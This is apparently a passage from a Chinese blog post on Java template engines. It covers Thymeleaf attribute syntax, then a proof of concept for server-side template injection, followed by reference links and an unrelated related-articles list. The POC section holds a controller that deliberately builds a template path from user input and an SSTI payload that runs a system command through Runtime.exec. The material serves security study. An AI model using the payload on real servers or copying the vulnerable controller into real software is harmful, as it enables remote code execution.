  • <option th:selected="${name=='b'}">
  • www.biancheng.net
  • </option>
  • </select>
th:src 替换 HTML 中的 src 属性 
  • <img th:src="@{/asserts/img/bootstrap-solid.svg}" src="asserts/img/bootstrap-solid.svg" />
th:inline 内联属性;
该属性有 text、none、javascript 三种取值,
在 <script> 标签中使用时,js 代码中可以获取到后台传递页面的对象。
  • <script type="text/javascript" th:inline="javascript">
  • var name = /*[[${name}]]*/ 'bianchengbang';
  • alert(name)
  • </script>
th:action 替换表单提交地址
  • <form th:action="@{/user/login}" th:method="post"></form>

模板引擎对象是org.thymeleaf.ITemplateEngine接口的实现,Thymeleaf核心是org.thymeleaf.TemplateEngine,

templateEngine = new TemplateEngine();
templateEngine.setTemplateResolver(templateResolver);

0x3:thymeleaf开发案例

0x4:漏洞风险面POC

新建spring应用,添加thymeleaf的依赖,
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>

添加控制器,

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

攻击载荷,

// 正确的payload:
/path?lang=en

// POC:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a Calculator%22).getInputStream()).next()%7d__::.x

参考链接:

https://www.cnblogs.com/tuyile006/p/16257278.html
https://blog.csdn.net/qq_41879343/article/details/107664955
https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/introduction.html
https://blog.csdn.net/trayvontang/article/details/112849988
https://blog.csdn.net/m0_46188681/article/details/114188838
https://xz.aliyun.com/t/12969#toc-18 

 

标签:java,模版,org,velocity,Velocity,SSTI,import,Java,模板
From: https://www.cnblogs.com/LittleHann/p/17846825.html

相关文章

  • Java泛型的历史背景与限制局限性
    Java泛型的语法简要提一下一些众所周知的泛型语法和类型擦除特性。泛型类泛型类中,类型变量用尖括号括起来,放在类名的后面,可以有多个类型变量。publicclassPair<T,U>{...}。类型变量在整个类定义中用于指定方法的返回类型以及字段和局部变量的类型。可以用具体的类......
  • java Calendar日历类型常见方法
    Calendar类是一个抽象类,它为特定瞬间与一组诸如YEAR、MONTH、DAY_OF_MONTH、HOUR等日历字段之间的转换提供了一些方法,并为操作日历字段(例如获得下星期的日期)提供了一些方法。瞬间可用毫秒值来表示,它是距历元(即格林威治标准时间1970年1月1日的00:00:00.000,格里高利历)的......
  • JavaScript的Math对象
    JavaScript的Math对象是一个内置的数学工具,提供了许多数学函数和常量。下面是一些常用的Math函数和方法的总结:Math.abs(x):返回x的绝对值。Math.ceil(x):返回大于或等于x的最小整数。Math.floor(x):返回小于或等于x的最大整数。Math.round(x):返回最接近x的整数。Math.m......
  • SSTI模版注入
    SSTI模版注入模板引擎模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的......
  • MySql存储树形结构,Java实现根据节点找到父节点,根据节点找到子节点
    目录数据表设计生成树(递归方式)根据节点cId返回所有的父节点pId数据表设计idparent_idnamelevel10食物121蔬菜231水果242茄果类352叶菜类363浆果类373瓜果类384番茄494辣椒4105生菜4116桑葚4id......
  • java 将多个文件压缩成zip
    Java将多个文件压缩成zip在Java中,我们经常需要处理文件的压缩和解压缩。其中,将多个文件压缩成一个zip文件是一种常见的需求。本文将介绍如何使用Java实现将多个文件压缩成zip的功能。压缩文件的原理在开始编写代码之前,我们先来了解一下zip文件的原理。zip文件实际上是一种压缩文......
  • 《最新出炉》系列初窥篇-Python+Playwright自动化测试-32-JavaScript的调用执行-下篇
    1.简介 在实际工作中,我们需要对处理的元素进行高亮显示,或者有时候为了看清楚操作过程和步骤我们需要跟踪鼠标点击了哪些元素需要标记出来。虽然很少遇到,但是为了以后大家可以参考或者提供一种思路,今天宏哥就在这里把这种测试场景playwright是如何处理的讲解和分享一下。2.用法......
  • Java Stream中的API你都用过了吗?
    公众号「架构成长指南」,专注于生产实践、云原生、分布式系统、大数据技术分享。在本教程中,您将通过大量示例来学习Java8StreamAPI。Java在Java8中提供了一个新的附加包,称为java.util.stream。该包由类、接口和枚举组成,允许对元素进行函数式操作。您可以通过在程序中......
  • java类转mysql表创建语句
    packagecn.eangaie.cloud.wx3562;importcn.hutool.core.io.FileUtil;importcn.hutool.core.lang.Console;importcom.baomidou.mybatisplus.annotation.TableId;importcom.baomidou.mybatisplus.annotation.TableName;importio.swagger.annotations.ApiModelProper......
  • Java报表开发工具总结
    Java报表工具,首先可以分成两大类:纯Java报表工具,和支持Java的报表工具。支持Java的报表工具支持Java的报表工具.其实就是非Java的报表工具,但是可以在Java程序中调用,这样的产品很多,总的讲一大类是采用独立报表服务器的,如Bo/CrystalReport,Brio,Cognos等等;另一大类是在前端有控件的,......